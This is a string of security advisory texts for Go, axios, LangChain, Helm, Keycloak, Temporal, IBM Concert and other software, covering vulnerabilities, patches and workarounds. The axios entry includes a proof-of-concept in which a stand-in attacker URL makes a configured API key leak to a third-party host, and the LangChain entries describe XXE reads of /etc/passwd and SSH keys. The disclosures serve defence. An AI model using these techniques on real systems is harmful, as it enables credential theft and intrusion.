Request smuggling due to acceptance of invalid chunked data in net/http

HTTP Proxy bypass using IPv6 Zone IDs in golang.org/x/net

Brotli versions up to 1.1.0 are vulnerable to a denial of service (DoS) attack due to decompression. This issue has been patched in Brotli version 1.2.0.

Additionally, this affects users who implement the Brotli decompression with Scrapy versions up to 2.13.2, leaving them vulnerable to a denial of service (DoS) attack. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression.

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-xhpr-465j-7p9q. This link is maintained to preserve external references.

Original Description A flaw was found in Keycloak. When an authenticated attacker attempts to merge accounts with another existing account during an identity provider (IdP) login, the attacker will subsequently be prompted to "review profile" information. This vulnerability allows the attacker to modify their email address to match that of a victim's account, triggering a verification email sent to the victim's email address. The attacker's email address is not present in the verification email content, making it a potential phishing opportunity. If the victim clicks the verification link, the attacker can gain access to the victim's account.

A flaw was found in the OpenShift build process, where the docker-build container is configured with a hostPath volume mount that maps the node's /var/lib/kubelet/config.json file into the build pod. This file contains sensitive credentials necessary for pulling images from private repositories. The mount is not read-only, which allows the attacker to overwrite it. By modifying the config.json file, the attacker can cause a denial of service by preventing the node from pulling new images and potentially exfiltrating sensitive secrets. This flaw impacts the availability of services dependent on image pulls and exposes sensitive information to unauthorized parties.

Applications and libraries which misuse connection.serverAuthenticate (via callback field ServerConfig.PublicKeyCallback) may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/cry...@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

The HTMLSectionSplitter class in langchain-text-splitters is vulnerable to XML External Entity (XXE) attacks due to unsafe XSLT parsing. This vulnerability arises because the class allows the use of arbitrary XSLT stylesheets, which are parsed using lxml.etree.parse() and lxml.etree.XSLT() without any hardening measures. In lxml versions up to 4.9.x, external entities are resolved by default, allowing attackers to read arbitrary local files or perform outbound HTTP(S) fetches. In lxml versions 5.0 and above, while entity expansion is disabled, the XSLT document() function can still read any URI unless XSLTAccessControl is applied. This vulnerability allows remote attackers to gain read-only access to any file the LangChain process can reach, including sensitive files such as SSH keys, environment files, source code, or cloud metadata. No authentication, special privileges, or user interaction are required, and the issue is exploitable in default deployments that enable custom XSLT.

The langchain-ai/langchain project, specifically the EverNoteLoader component, is vulnerable to XML External Entity (XXE) attacks due to insecure XML parsing. The affected version is 0.3.63. The vulnerability arises from the use of etree.iterparse() without disabling external entity references, which can lead to sensitive information disclosure. An attacker could exploit this by crafting a malicious XML payload that references local files, potentially exposing sensitive data such as /etc/passwd.

A null pointer dereference vulnerability was discovered in the libxml2. The issue occurs in the xmlSchematronFormatReport function when processing incorrect XPath expressions in Schematron schema reports, leading to undefined behavior and potential crashes.

Summary

Unclear documentation of the error behavior in ParseWithClaims can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by ParseWithClaims return both error codes. If users only check for the jwt.ErrTokenExpired using error.Is, they will ignore the embedded jwt.ErrTokenSignatureInvalid and thus potentially accept invalid tokens.

Fix

We have back-ported the error handling logic from the v5 branch to the v4 branch. In this logic, the ParseWithClaims function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.

Workaround

We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.

Go token, err := / jwt.Parse or similar / if token.Valid { fmt.Println("You look nice today") } else if errors.Is(err, jwt.ErrTokenMalformed) { fmt.Println("That's not even a token") } else if errors.Is(err, jwt.ErrTokenUnverifiable) { fmt.Println("We could not verify this token") } else if errors.Is(err, jwt.ErrTokenSignatureInvalid) { fmt.Println("This token has an invalid signature") } else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) { // Token is either expired or not active yet fmt.Println("Timing is everything") } else { fmt.Println("Couldn't handle this token:", err) }

Last updated 9 July 2026

Incorrect Neutralization of Input During Web Page Generation in x/net in golang.org/x/net

SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.

SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

js import axios from "axios";

const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });

// const userId = "123"; const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

- When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. - Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data);

3. Run the script:

$ node main.js this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Insecure defaults in open-source Temporal Server before version 1.20 on all platforms allows an attacker to craft a task token with access to a namespace other than the one specified in the request. Creation of this task token must be done outside of the normal Temporal server flow. It requires the namespace UUID and information from the workflow history for the target namespace. Under these conditions, it is possible to interfere with pending tasks in other namespaces, such as marking a task failed or completed. If a task is targeted for completion by the attacker, the targeted namespace must also be using the same data converter configuration as the initial, valid, namespace for the task completion payload to be decoded by workers in the target namespace.

A Helm contributor discovered that a specially crafted Chart.yaml file along with a specially linked Chart.lock file can lead to local code execution when dependencies are updated.

Impact

Fields in a Chart.yaml file, that are carried over to a Chart.lock file when dependencies are updated and this file is written, can be crafted in a way that can cause execution if that same content were in a file that is executed (e.g., a bash.rc file or shell script). If the Chart.lock file is symlinked to one of these files updating dependencies will write the lock file content to the symlinked file. This can lead to unwanted execution. Helm warns of the symlinked file but did not stop execution due to symlinking.

This affects when dependencies are updated. When using the helm command this happens when helm dependency update is run. helm dependency build can write a lock file when one does not exist but this vector requires one to already exist. This affects the Helm SDK when the downloader Manager performs an update.

Patches

This issue has been resolved in Helm v3.18.4

Workarounds

Ensure the Chart.lock file in a chart is not a symlink prior to updating dependencies.

For more information

Helm's security policy is spelled out in detail in our SECURITY document.

Credits

Disclosed by Jakub Ciolek at AlphaSense.

Impact v3.1.0, v2.1.3, v1.16.5 and below

Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds You can use the ignore option to ignore non files/directories.

js ignore (, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' }

Credit Reported by: Mapta / BugBunnyai

An attacker can craft an input to the Parse functions that would be processed non-linearly with respect to its length, resulting in extremely slow parsing. This could cause a denial of service.

Impact When the PostgreSQL JDBC driver is configured with channel binding set to required (default value is prefer), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.

Patches TBD

Workarounds

Configure sslMode=verify-full to prevent MITM attacks.

References

https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256 https://datatracker.ietf.org/doc/html/rfc7677 https://datatracker.ietf.org/doc/html/rfc5802

Impact

Vert.x 4.5.12 has changed the semantics of the duplication of duplicated context.

Duplicated context is an object used to propagate data through a processing (synchronous or asynchronous). Each "transaction" or "processing" runs on its own isolated duplicated context.

Initially, duplicating a duplicated context was creating a fresh (empty) new context, meaning that the new duplicated context can be used to managed a separated transaction.

In Vert.x 4.5.12, this semantics has changed, and since the content of the parent duplicated context is copied into the new one, potentially leaking data.

This CVE is especially for Quarkus as Quarkus extensively uses the Vert.x duplicated context to implement context propagation. With the new semantic data from one transaction can leak to the data from another transaction. From a Vert.x point of view, this new semantic clarifies the behavior.

A significant amount of data is stored in the duplicated context, including request scope, security details, and metadata. Duplicating a duplicated context is rather rare and is only done in a few places:

- Quarkus REST Client when using OTel (but it's the same transaction, so no leak) - Quarkus Messaging connectors - Quarkus SmallRye Health (same transaction, so no leak)

Patches

After discussion with the Vert.x team, the change will be rolled back in Vert.x 4.x. A new API will be added to Vert.x 5 do distinguish the 2 cases.

Workarounds

When duplicating a duplicated context, the following code can be done to avoid the potential leak:

java ((ContextInternal) VertxContext.getRootContext(ctx)).duplicate()

This workaround would not be required once the Vert.x version containing the fix will be included. Note that the workaround would still work.

References

This issue have been reported in https://github.com/quarkusio/quarkus/issues/48227.

Denial of Service in Temporal Server prior to version 1.20.5, 1.21.6, and 1.22.7 allows an authenticated user who has permissions to interact with workflows and has crafted an invalid UTF-8 string for submission to potentially cause a crashloop. If left unchecked, the task containing the invalid UTF-8 will become stuck in the queue, causing an increase in queue lag. Eventually, all processes handling these queues will become stuck and the system will run out of resources. The workflow ID of the failing task will be visible in the logs, and can be used to remove that workflow as a mitigation. Version 1.23 is not impacted. In this context, a user is an operator of Temporal Server.

cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.

IBM Concert 1.0.0 through 2.1.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

IBM Concert 1.0.0 through 2.1.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

IBM Concert 1.0.0 through 2.1.0 could allow an attacker to obtain sensitive information using man in the middle techniques due to improper clearing of heap memory.

IBM Concert 1.0.0 through 2.1.0 for Z hub component is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts.

IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information or perform unauthorized actions due to the use of hard coded user credentials.

IBM Concert 1.0.0 through 2.1.0 could allow a local user to escalate their privileges due to a race condition of a symbolic link.

IBM Concert 1.0.0 through 2.1.0 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.